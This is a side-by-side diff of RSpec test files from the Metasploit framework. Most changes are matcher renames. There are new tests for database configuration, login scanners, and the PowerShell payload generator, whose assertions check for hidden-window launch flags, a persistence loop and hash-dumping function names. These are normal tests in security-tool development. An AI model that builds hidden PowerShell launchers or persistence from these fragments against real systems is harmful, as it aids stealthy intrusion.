end end
it 'should be smaller than the uncompressed archive' do it 'should be smaller than the uncompressed archive' do
uncompressed_path = "#{@destination_path}.uncompressed" uncompressed_path = "#{@destination_path}.uncompressed"
compressed_path = "#{@destination_path}.compressed" compressed_path = "#{@destination_path}.compressed"
File.exist?(uncompressed_path).should be_false File.exist?(uncompressed_path).should be_falsey
File.exist?(compressed_path).should be_false File.exist?(compressed_path).should be_falsey
described_class.dump(uncompressed_path, '', base_path, *unarchived_paths) described_class.dump(uncompressed_path, '', base_path, *unarchived_paths)
described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths) described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths)
File.exist?(uncompressed_path).should be_true File.exist?(uncompressed_path).should be_truthy
File.exist?(compressed_path).should be_true File.exist?(compressed_path).should be_truthy
File.size(compressed_path).should < File.size(uncompressed_path) File.size(compressed_path).should < File.size(uncompressed_path)
end end
@ -157,11 +157,11 @@ describe FastLib do
end end
it 'should create an archive' do it 'should create an archive' do
File.exist?(@destination_path).should be_false File.exist?(@destination_path).should be_falsey
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
File.exist?(@destination_path).should be_true File.exist?(@destination_path).should be_truthy
end end
end end
@ -171,11 +171,11 @@ describe FastLib do
end end
it 'should create an archive' do it 'should create an archive' do
File.exist?(@destination_path).should be_false File.exist?(@destination_path).should be_falsey
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
File.exist?(@destination_path).should be_true File.exist?(@destination_path).should be_truthy
end end
end end
end end
@ -194,7 +194,7 @@ describe FastLib do
# ensure modules expected to be listed actually exist # ensure modules expected to be listed actually exist
it 'should use existent unarchived modules' do it 'should use existent unarchived modules' do
unarchived_paths.each do |unarchived_path| unarchived_paths.each do |unarchived_path|
File.exist?(unarchived_path).should be_true File.exist?(unarchived_path).should be_truthy
end end
end end

View File

@ -22,7 +22,7 @@ describe Metasploit::Framework::Credential do
describe "#paired" do describe "#paired" do
it "defaults to true" do it "defaults to true" do
expect(cred_detail.paired).to be_true expect(cred_detail.paired).to be_truthy
end end
end end

View File

@ -0,0 +1,670 @@
require 'spec_helper'
RSpec.describe Metasploit::Framework::Database do
context 'CONSTANTS' do
context 'CONFIGURATIONS_PATHNAME_PRECEDENCE' do
subject(:configurations_pathname_precedence) {
described_class::CONFIGURATIONS_PATHNAME_PRECEDENCE
}
it { is_expected.to match_array(
[
:environment_configurations_pathname,
:user_configurations_pathname,
:project_configurations_pathname
]
) }
end
end
context '.configurations_pathname' do
subject(:configurations_pathname) {
described_class.configurations_pathname(*arguments)
}
context 'with options' do
let(:arguments) {
[
{
path: path
}
]
}
context 'with :path' do
context 'that exists' do
let(:path) {
tempfile.path
}
let(:tempfile) {
Tempfile.new(['database', '.yml'])
}
it 'returns Pathname(path)' do
expect(configurations_pathname).to eq(Pathname.new(path))
end
end
context 'that does not exist' do
let(:path) {
'/a/configurations/path/that/does/not/exist/database.yml'
}
it { is_expected.to be_nil }
end
end
context 'without :path' do
let(:path) {
''
}
it 'calls configurations_pathnames' do
expect(described_class).to receive(:configurations_pathnames).and_call_original
configurations_pathname
end
it 'returns first pathname from configurations_pathnames' do
expect(configurations_pathname).to eq(described_class.configurations_pathnames.first)
end
end
end
context 'without options' do
let(:arguments) {
[]
}
it 'calls configurations_pathnames' do
expect(described_class).to receive(:configurations_pathnames).and_call_original
configurations_pathname
end
it 'returns first pathname from configurations_pathnames' do
expect(configurations_pathname).to eq(described_class.configurations_pathnames.first)
end
end
end
context '.configurations_pathnames' do
subject(:configurations_pathnames) {
described_class.configurations_pathnames
}
before(:each) do
allow(described_class).to receive(:environment_configurations_pathname).and_return(
environment_configurations_pathname
)
end
context 'with environment_configurations_pathname' do
context 'that exists' do
#
# lets
#
let(:environment_configurations_pathname) {
Pathname.new(environment_configurations_tempfile.path)
}
let(:environment_configurations_tempfile) {
Tempfile.new(['environment_configurations', '.database.yml'])
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:user_configurations_pathname).and_return(
user_configurations_pathname
)
end
context 'with user_configurations_pathname' do
context 'that exists' do
#
# lets
#
let(:user_configurations_pathname) {
Pathname.new(user_configurations_tempfile.path)
}
let(:user_configurations_tempfile) {
Tempfile.new(['user_configurations', '.database.yml'])
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:project_configurations_pathname).and_return(
project_configurations_pathname
)
end
context 'with project_configurations_pathname' do
context 'that exists' do
let(:project_configurations_pathname) {
Pathname.new(project_configurations_tempfile.path)
}
let(:project_configurations_tempfile) {
Tempfile.new(['project_configurations', '.database.yml'])
}
it 'is [environment_configurations_pathname, user_configurations_pathname, project_configurations_pathname]' do
expect(project_configurations_pathname).to exist
expect(configurations_pathnames).to match_array(
[
environment_configurations_pathname,
user_configurations_pathname,
project_configurations_pathname
]
)
end
end
context 'that does not exist' do
let(:project_configurations_pathname) {
Pathname.new('/metasploit-framework/does/not/exist/here/config/database.yml')
}
it 'is [environment_configurations_pathname, user_configurations_pathname]' do
expect(environment_configurations_pathname).to exist
expect(user_configurations_pathname).to exist
expect(project_configurations_pathname).not_to exist
expect(project_configurations_pathname).not_to exist
expect(configurations_pathnames).to match_array(
[
environment_configurations_pathname,
user_configurations_pathname
]
)
end
end
end
context 'without project_configurations_pathname' do
let(:project_configurations_pathname) {
nil
}
it 'is [environment_configuration_pathname, user_configurations_pathname]' do
expect(environment_configurations_pathname).to exist
expect(user_configurations_pathname).to exist
expect(configurations_pathnames).to match_array(
[
environment_configurations_pathname,
user_configurations_pathname
]
)
end
end
end
context 'with does not exist' do
#
# lets
#
let(:user_configurations_pathname) {
Pathname.new('/user/configuration/that/does/not/exist/.msf4/database.yml')
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:project_configurations_pathname).and_return(
project_configurations_pathname
)
end
context 'with project_configurations_pathname' do
context 'that exists' do
let(:project_configurations_pathname) {
Pathname.new(project_configurations_tempfile.path)
}
let(:project_configurations_tempfile) {
Tempfile.new(['project_configurations', '.database.yml'])
}
it 'is [environment_configurations_pathname, project_configurations_pathname]' do
expect(environment_configurations_pathname).to exist
expect(user_configurations_pathname).not_to exist
expect(project_configurations_pathname).to exist
expect(configurations_pathnames).to match_array(
[
environment_configurations_pathname,
project_configurations_pathname
]
)
end
end
context 'that does not exist' do
let(:project_configurations_pathname) {
Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml')
}
it 'is [environment_configurations_pathname]' do
expect(environment_configurations_pathname).to exist
expect(user_configurations_pathname).not_to exist
expect(project_configurations_pathname).not_to exist
expect(configurations_pathnames).to match_array(
[
environment_configurations_pathname
]
)
end
end
end
context 'without project_configurations_pathname' do
let(:project_configurations_pathname) {
nil
}
it 'is [environment_configurations_pathname]' do
expect(environment_configurations_pathname).to exist
expect(user_configurations_pathname).not_to exist
expect(project_configurations_pathname).to be_nil
expect(configurations_pathnames).to match_array(
[
environment_configurations_pathname
]
)
end
end
end
end
context 'without user_configurations_pathname' do
#
# lets
#
let(:user_configurations_pathname) {
nil
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:project_configurations_pathname).and_return(
project_configurations_pathname
)
end
context 'with project_configurations_pathname' do
end
context 'without project_configurations_pathname' do
let(:project_configurations_pathname) {
nil
}
it 'contains only the environment_configuration_pathname' do
expect(configurations_pathnames).to match_array([environment_configurations_pathname])
end
end
end
end
context 'that does not exist' do
end
end
context 'without environment_configurations_pathname' do
#
# lets
#
let(:environment_configurations_pathname) {
nil
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:user_configurations_pathname).and_return(
user_configurations_pathname
)
end
context 'with user_configurations_pathname' do
context 'that exists' do
#
# lets
#
let(:user_configurations_pathname) {
Pathname.new(user_configurations_tempfile.path)
}
let(:user_configurations_tempfile) {
Tempfile.new(['user_configurations', '.database.yml'])
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:project_configurations_pathname).and_return(
project_configurations_pathname
)
end
context 'with project_configurations_pathname' do
context 'that exists' do
let(:project_configurations_pathname) {
Pathname.new(project_configurations_tempfile.path)
}
let(:project_configurations_tempfile) {
Tempfile.new(['project_configurations', '.database.yml'])
}
it 'is [user_configurations_pathname, project_configurations_pathname]' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).to exist
expect(project_configurations_pathname).to exist
expect(configurations_pathnames).to match_array(
[
user_configurations_pathname,
project_configurations_pathname
]
)
end
end
context 'that does not exist' do
let(:project_configurations_pathname) {
Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml')
}
it 'is [user_configurations_pathname]' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).to exist
expect(project_configurations_pathname).not_to exist
expect(configurations_pathnames).to match_array(
[
user_configurations_pathname
]
)
end
end
end
context 'without project_configurations_pathname' do
let(:project_configurations_pathname) {
nil
}
it 'is [user_configurations_pathname]' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).to exist
expect(project_configurations_pathname).to be_nil
expect(configurations_pathnames).to match_array(
[
user_configurations_pathname
]
)
end
end
end
context 'that does not exist' do
#
# lets
#
let(:user_configurations_pathname) {
Pathname.new('/user/configuration/that/does/not/exist/.msf4/database.yml')
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:project_configurations_pathname).and_return(
project_configurations_pathname
)
end
context 'with project_configurations_pathname' do
context 'that exists' do
let(:project_configurations_pathname) {
Pathname.new(project_configurations_tempfile.path)
}
let(:project_configurations_tempfile) {
Tempfile.new(['project_configurations', '.database.yml'])
}
it 'is [project_configurations_pathname]' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).not_to exist
expect(project_configurations_pathname).to exist
expect(configurations_pathnames).to match_array(
[
project_configurations_pathname
]
)
end
end
context 'that does not exist' do
let(:project_configurations_pathname) {
Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml')
}
it 'is []' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).not_to exist
expect(project_configurations_pathname).not_to exist
expect(configurations_pathnames).to eq([])
end
end
end
context 'without project_configurations_pathname' do
let(:project_configurations_pathname) {
nil
}
it 'is []' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).not_to exist
expect(project_configurations_pathname).to be_nil
expect(configurations_pathnames).to eq([])
end
end
end
end
context 'without user_configurations_pathname' do
#
# lets
#
let(:user_configurations_pathname) {
nil
}
#
# Callbacks
#
before(:each) do
allow(described_class).to receive(:project_configurations_pathname).and_return(
project_configurations_pathname
)
end
context 'with project_configurations_pathname' do
context 'that exists' do
let(:project_configurations_pathname) {
Pathname.new(project_configurations_tempfile.path)
}
let(:project_configurations_tempfile) {
Tempfile.new(['project_configurations', '.database.yml'])
}
it 'is [project_configurations_pathname]' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).to be_nil
expect(project_configurations_pathname).to exist
expect(configurations_pathnames).to match_array(
[
project_configurations_pathname
]
)
end
end
context 'that does not exist' do
let(:project_configurations_pathname) {
Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml')
}
it 'is []' do
expect(environment_configurations_pathname).to be_nil
expect(user_configurations_pathname).to be_nil
expect(project_configurations_pathname).not_to exist
expect(configurations_pathnames).to eq([])
end
end
end
context 'without project_configurations_pathname' do
let(:project_configurations_pathname) {
nil
}
it { is_expected.to eq([]) }
end
end
end
end
context '.environment_configurations_pathname' do
subject(:environment_configurations_pathname) {
described_class.environment_configurations_pathname
}
around(:each) do |example|
env_before = ENV.to_hash
begin
example.run
ensure
ENV.update(env_before)
end
end
context 'with MSF_DATABASE_CONFIG' do
before(:each) do
ENV['MSF_DATABASE_CONFIG'] = msf_database_config
end
context 'with blank' do
let(:msf_database_config) {
''
}
it { is_expected.to be_nil }
end
context 'without blank' do
let(:msf_database_config) {
'msf/database/config/database.yml'
}
it 'is Pathname of MSF_DATABASE_CONFIG' do
expect(environment_configurations_pathname).to eq(Pathname.new(msf_database_config))
end
end
end
context 'without MSF_DATABASE_CONFIG' do
it { is_expected.to be_nil }
end
end
context '.project_configurations_pathname' do
subject(:project_configurations_pathname) {
described_class.project_configurations_pathname
}
it 'is <metasploit-framework>/config/database.yml' do
root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent.parent
expect(project_configurations_pathname).to eq(root.join('config', 'database.yml'))
end
end
context '.user_configurations_pathname' do
subject(:user_configurations_pathname) {
described_class.user_configurations_pathname
}
#
# lets
#
let(:config_root) {
Dir.mktmpdir
}
#
# Callbacks
#
around(:each) do |example|
begin
example.run
ensure
FileUtils.remove_entry_secure config_root
end
end
before(:each) do
expect(Msf::Config).to receive(:get_config_root).and_return(config_root)
end
it 'is database.yml under the user config root' do
expect(user_configurations_pathname).to eq(Pathname.new(config_root).join('database.yml'))
end
end
end

View File

@ -245,4 +245,4 @@ describe Metasploit::Framework::JtR::Cracker do
end end
end end
end end
end end

View File

@ -35,4 +35,4 @@ describe Metasploit::Framework::JtR::InvalidWordlist do
end end
end end
end end

View File

@ -135,4 +135,4 @@ describe Metasploit::Framework::JtR::Wordlist do
end end
end end
end end

View File

@ -41,4 +41,4 @@ describe Metasploit::Framework::LoginScanner::DB2 do
end end
end end
end end

View File

@ -131,4 +131,4 @@ describe Metasploit::Framework::LoginScanner::FTP do
end end
end end
end end

View File

@ -90,4 +90,4 @@ describe Metasploit::Framework::LoginScanner::MSSQL do
end end
end end
end end

View File

@ -105,4 +105,4 @@ describe Metasploit::Framework::LoginScanner::MySQL do
end end
end end
end end

View File

@ -8,7 +8,7 @@ describe Metasploit::Framework::LoginScanner::POP3 do
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
context "#attempt_login" do context "#attempt_login" do
let(:pub_blank) do let(:pub_blank) do
Metasploit::Framework::Credential.new( Metasploit::Framework::Credential.new(
paired: true, paired: true,
@ -41,10 +41,10 @@ describe Metasploit::Framework::LoginScanner::POP3 do
expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end end
end end
context "Open Connection" do context "Open Connection" do
let(:sock) {double('socket')} let(:sock) {double('socket')}
before(:each) do before(:each) do
sock.stub(:shutdown) sock.stub(:shutdown)
sock.stub(:close) sock.stub(:close)
@ -53,30 +53,30 @@ describe Metasploit::Framework::LoginScanner::POP3 do
scanner.stub(:sock).and_return(sock) scanner.stub(:sock).and_return(sock)
scanner.should_receive(:select).with([sock],nil,nil,0.4) scanner.should_receive(:select).with([sock],nil,nil,0.4)
end end
it "Server returns +OK" do it "Server returns +OK" do
expect(sock).to receive(:get_once).exactly(3).times.and_return("+OK") expect(sock).to receive(:get_once).exactly(3).times.and_return("+OK")
expect(sock).to receive(:put).with("USER public\r\n").once.ordered expect(sock).to receive(:put).with("USER public\r\n").once.ordered
expect(sock).to receive(:put).with("PASS \r\n").once.ordered expect(sock).to receive(:put).with("PASS \r\n").once.ordered
result = scanner.attempt_login(pub_blank) result = scanner.attempt_login(pub_blank)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
end end
it "Server Returns Something Else" do it "Server Returns Something Else" do
sock.stub(:get_once).and_return("+ERROR") sock.stub(:get_once).and_return("+ERROR")
result = scanner.attempt_login(pub_blank) result = scanner.attempt_login(pub_blank)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT) expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT)
expect(result.proof).to eq("+ERROR") expect(result.proof).to eq("+ERROR")
end end
end end
end end
end end

View File

@ -72,4 +72,4 @@ describe Metasploit::Framework::LoginScanner::Postgres do
end end
end end
end end

View File

@ -29,17 +29,17 @@ describe Metasploit::Framework::LoginScanner::Result do
context '#success?' do context '#success?' do
context 'when the status code is success' do context 'when the status code is success' do
it 'returns true' do it 'returns true' do
expect(login_result.success?).to be_true expect(login_result.success?).to be_truthy
end end
end end
context 'when the status code is anything else' do context 'when the status code is anything else' do
let(:status) { :connection_error } let(:status) { :connection_error }
it 'returns false' do it 'returns false' do
expect(login_result.success?).to be_false expect(login_result.success?).to be_falsey
end end
end end
end end
end end

View File

@ -53,4 +53,4 @@ describe Metasploit::Framework::LoginScanner::SNMP do
end end
end end

View File

@ -75,4 +75,4 @@ describe Metasploit::Framework::LoginScanner::Telnet do
end end
end end
end end

View File

@ -0,0 +1,46 @@
require 'spec_helper'
require 'metasploit/framework/login_scanner/vmauthd'
describe Metasploit::Framework::LoginScanner::VMAUTHD do
subject(:scanner) { described_class.new }
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
context "#attempt_login" do
let(:pub_blank) do
Metasploit::Framework::Credential.new(
paired: true,
public: "public",
private: ''
)
end
context "Raised Exceptions" do
it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do
expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError)
result = scanner.attempt_login(pub_blank)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do
expect(scanner).to receive(:connect).and_raise(Timeout::Error)
result = scanner.attempt_login(pub_blank)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do
expect(scanner).to receive(:connect).and_raise(EOFError)
result = scanner.attempt_login(pub_blank)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
end
end
end

View File

@ -81,4 +81,4 @@ describe Metasploit::Framework::LoginScanner::VNC do
end end
end end

View File

@ -8,4 +8,4 @@ describe Msf::Simple::Framework do
end end
it_should_behave_like 'Msf::Simple::Framework::ModulePaths' it_should_behave_like 'Msf::Simple::Framework::ModulePaths'
end end

View File

@ -10,28 +10,28 @@ describe Msf::Auxiliary::DRDoS do
mod mod
end end
describe '#prove_drdos' do describe '#prove_amplification' do
it 'should detect drdos when there is packet amplification only' do it 'should detect drdos when there is packet amplification only' do
map = { 'foo' => [ 'a', 'b' ] } map = { 'foo' => [ 'a', 'b' ] }
result, _ = subject.prove_drdos(map) result, _ = subject.prove_amplification(map)
result.should be true result.should be true
end end
it 'should detect drdos when there is bandwidth amplification only' do it 'should detect drdos when there is bandwidth amplification only' do
map = { 'foo' => [ 'foofoo' ] } map = { 'foo' => [ 'foofoo' ] }
result, _ = subject.prove_drdos(map) result, _ = subject.prove_amplification(map)
result.should be true result.should be true
end end
it 'should detect drdos when there is packet and bandwidth amplification' do it 'should detect drdos when there is packet and bandwidth amplification' do
map = { 'foo' => [ 'foofoo', 'a' ] } map = { 'foo' => [ 'foofoo', 'a' ] }
result, _ = subject.prove_drdos(map) result, _ = subject.prove_amplification(map)
result.should be true result.should be true
end end
it 'should not detect drdos when there is no packet and no bandwidth amplification' do it 'should not detect drdos when there is no packet and no bandwidth amplification' do
map = { 'foo' => [ 'foo' ] } map = { 'foo' => [ 'foo' ] }
result, _ = subject.prove_drdos(map) result, _ = subject.prove_amplification(map)
result.should be false result.should be false
end end
end end

View File

@ -332,7 +332,7 @@ describe Msf::Exploit::CmdStager do
end end
it "is compatible" do it "is compatible" do
expect(subject.compatible_flavor?(flavor)).to be_true expect(subject.compatible_flavor?(flavor)).to be_truthy
end end
end end
@ -348,7 +348,7 @@ describe Msf::Exploit::CmdStager do
end end
it "is compatible" do it "is compatible" do
expect(subject.compatible_flavor?(flavor)).to be_true expect(subject.compatible_flavor?(flavor)).to be_truthy
end end
end end
@ -358,7 +358,7 @@ describe Msf::Exploit::CmdStager do
end end
it "isn't compatible" do it "isn't compatible" do
expect(subject.compatible_flavor?(flavor)).to be_false expect(subject.compatible_flavor?(flavor)).to be_falsey
end end
end end
end end
@ -375,7 +375,7 @@ describe Msf::Exploit::CmdStager do
end end
it "is compatible" do it "is compatible" do
expect(subject.compatible_flavor?(flavor)).to be_true expect(subject.compatible_flavor?(flavor)).to be_truthy
end end
end end
@ -385,7 +385,7 @@ describe Msf::Exploit::CmdStager do
end end
it "isn't compatible" do it "isn't compatible" do
expect(subject.compatible_flavor?(flavor)).to be_false expect(subject.compatible_flavor?(flavor)).to be_falsey
end end
end end
end end
@ -402,7 +402,7 @@ describe Msf::Exploit::CmdStager do
end end
it "is compatible" do it "is compatible" do
expect(subject.compatible_flavor?(flavor)).to be_true expect(subject.compatible_flavor?(flavor)).to be_truthy
end end
end end
@ -412,7 +412,7 @@ describe Msf::Exploit::CmdStager do
end end
it "isn't compatible" do it "isn't compatible" do
expect(subject.compatible_flavor?(flavor)).to be_false expect(subject.compatible_flavor?(flavor)).to be_falsey
end end
end end

View File

@ -43,13 +43,13 @@ describe Msf::Exploit::Powershell do
script = File.read(example_script) script = File.read(example_script)
compressed = subject.compress_script(script) compressed = subject.compress_script(script)
compressed.length.should be < script.length compressed.length.should be < script.length
compressed.include?('IO.Compression').should be_true compressed.include?('IO.Compression').should be_truthy
end end
it 'should create a compressed script with eof' do it 'should create a compressed script with eof' do
script = File.read(example_script) script = File.read(example_script)
compressed = subject.compress_script(script, 'end_of_file') compressed = subject.compress_script(script, 'end_of_file')
compressed.include?('end_of_file').should be_true compressed.include?('end_of_file').should be_truthy
end end
end end
@ -108,7 +108,7 @@ describe Msf::Exploit::Powershell do
it 'should substitute variables' do it 'should substitute variables' do
script = File.read(example_script) script = File.read(example_script)
compressed = subject.compress_script(script) compressed = subject.compress_script(script)
decompress(compressed).include?('$hashes').should be_false decompress(compressed).include?('$hashes').should be_falsey
end end
end end
@ -120,7 +120,7 @@ describe Msf::Exploit::Powershell do
it 'shouldnt substitute variables' do it 'shouldnt substitute variables' do
script = File.read(example_script) script = File.read(example_script)
compressed = subject.compress_script(script) compressed = subject.compress_script(script)
decompress(compressed).include?('$hashes').should be_true decompress(compressed).include?('$hashes').should be_truthy
end end
end end
@ -132,7 +132,7 @@ describe Msf::Exploit::Powershell do
it 'should substitute functions' do it 'should substitute functions' do
script = File.read(example_script) script = File.read(example_script)
compressed = subject.compress_script(script) compressed = subject.compress_script(script)
decompress(compressed).include?('DumpHashes').should be_false decompress(compressed).include?('DumpHashes').should be_falsey
end end
end end
@ -144,7 +144,7 @@ describe Msf::Exploit::Powershell do
it 'shouldnt substitute variables' do it 'shouldnt substitute variables' do
script = File.read(example_script) script = File.read(example_script)
compressed = subject.compress_script(script) compressed = subject.compress_script(script)
decompress(compressed).include?('DumpHashes').should be_true decompress(compressed).include?('DumpHashes').should be_truthy
end end
end end
end end
@ -159,28 +159,28 @@ describe Msf::Exploit::Powershell do
context 'when x86 payload' do context 'when x86 payload' do
it 'should generate code' do it 'should generate code' do
code = subject.run_hidden_psh(payload, arch, encoded) code = subject.run_hidden_psh(payload, arch, encoded)
code.include?('syswow64').should be_true code.include?('syswow64').should be_truthy
end end
end end
context 'when x64 payload' do context 'when x64 payload' do
it 'should generate code' do it 'should generate code' do
code = subject.run_hidden_psh(payload, 'x86_64', encoded) code = subject.run_hidden_psh(payload, 'x86_64', encoded)
code.include?('sysnative').should be_true code.include?('sysnative').should be_truthy
end end
end end
context 'when encoded' do context 'when encoded' do
it 'should generate a code including an encoded command' do it 'should generate a code including an encoded command' do
code = subject.run_hidden_psh(payload, arch, true) code = subject.run_hidden_psh(payload, arch, true)
code.include?('-nop -w hidden -e ').should be_true code.include?('-nop -w hidden -e ').should be_truthy
end end
end end
context 'when command' do context 'when command' do
it 'should generate code including a -c command' do it 'should generate code including a -c command' do
code = subject.run_hidden_psh(payload, arch, encoded) code = subject.run_hidden_psh(payload, arch, encoded)
code.include?('-nop -w hidden -c ').should be_true code.include?('-nop -w hidden -c ').should be_truthy
end end
end end
@ -191,7 +191,7 @@ describe Msf::Exploit::Powershell do
end end
it 'should generate a code including unshorted args' do it 'should generate a code including unshorted args' do
code = subject.run_hidden_psh(payload, arch, encoded) code = subject.run_hidden_psh(payload, arch, encoded)
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_true code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_truthy
end end
end end
end end
@ -206,7 +206,7 @@ describe Msf::Exploit::Powershell do
except = true except = true
end end
except.should be_true except.should be_truthy
end end
end end
@ -217,7 +217,7 @@ describe Msf::Exploit::Powershell do
end end
it 'should add a persistance loop' do it 'should add a persistance loop' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('while(1){Start-Sleep -s ').should be_true decompress(code).include?('while(1){Start-Sleep -s ').should be_truthy
end end
end end
@ -228,7 +228,7 @@ describe Msf::Exploit::Powershell do
end end
it 'shouldnt add a persistance loop' do it 'shouldnt add a persistance loop' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('while(1){Start-Sleep -s ').should be_false decompress(code).include?('while(1){Start-Sleep -s ').should be_falsey
end end
end end
@ -239,7 +239,7 @@ describe Msf::Exploit::Powershell do
end end
it 'should prepend sleep' do it 'should prepend sleep' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('Start-Sleep -s ').should be_true decompress(code).include?('Start-Sleep -s ').should be_truthy
end end
end end
@ -250,7 +250,7 @@ describe Msf::Exploit::Powershell do
end end
it 'shouldnt prepend sleep' do it 'shouldnt prepend sleep' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('Start-Sleep -s ').should be_false decompress(code).include?('Start-Sleep -s ').should be_falsey
end end
end end
@ -261,7 +261,7 @@ describe Msf::Exploit::Powershell do
end end
it 'shouldnt prepend sleep' do it 'shouldnt prepend sleep' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('Start-Sleep -s ').should be_false decompress(code).include?('Start-Sleep -s ').should be_falsey
end end
end end
@ -272,15 +272,15 @@ describe Msf::Exploit::Powershell do
end end
it 'should generate a command line' do it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('-namespace Win32Functions').should be_true decompress(code).include?('-namespace Win32Functions').should be_truthy
end end
it 'shouldnt shorten args' do it 'shouldnt shorten args' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
code.include?('-NoProfile -WindowStyle hidden -Command').should be_true code.include?('-NoProfile -WindowStyle hidden -Command').should be_truthy
end end
it 'should include -NoExit' do it 'should include -NoExit' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_true code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_truthy
end end
end end
@ -291,7 +291,7 @@ describe Msf::Exploit::Powershell do
end end
it 'should generate a command line' do it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('System.Runtime.InteropServices;').should be_true decompress(code).include?('System.Runtime.InteropServices;').should be_truthy
end end
end end
@ -302,7 +302,7 @@ describe Msf::Exploit::Powershell do
end end
it 'should generate a command line' do it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch) code = subject.cmd_psh_payload(payload, arch)
decompress(code).include?('GlobalAssemblyCache').should be_true decompress(code).include?('GlobalAssemblyCache').should be_truthy
end end
end end
@ -318,7 +318,7 @@ describe Msf::Exploit::Powershell do
rescue RuntimeError rescue RuntimeError
except = true except = true
end end
except.should be_true except.should be_truthy
end end
end end
@ -333,7 +333,7 @@ describe Msf::Exploit::Powershell do
rescue RuntimeError rescue RuntimeError
except = true except = true
end end
except.should be_true except.should be_truthy
end end
after do after do
subject.datastore['Powershell::method'] = 'reflection' subject.datastore['Powershell::method'] = 'reflection'
@ -344,7 +344,7 @@ describe Msf::Exploit::Powershell do
context 'when encode_inner_payload' do context 'when encode_inner_payload' do
it 'should contain an inner payload with -e' do it 'should contain an inner payload with -e' do
code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true}) code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true})
code.include?(' -e ').should be_true code.include?(' -e ').should be_truthy
end end
context 'when no_equals is true' do context 'when no_equals is true' do
@ -355,7 +355,7 @@ describe Msf::Exploit::Powershell do
rescue RuntimeError rescue RuntimeError
except = true except = true
end end
except.should be_true except.should be_truthy
end end
end end
end end
@ -365,15 +365,15 @@ describe Msf::Exploit::Powershell do
it 'should contain a final payload with -e' do it 'should contain a final payload with -e' do
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false}) code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false})
code.include?(' -e ').should be_true code.include?(' -e ').should be_true
code.include?(' -c ').should be_false code.include?(' -c ').should be_falsey
end end
end end
context 'when no_equals is true' do context 'when no_equals is true' do
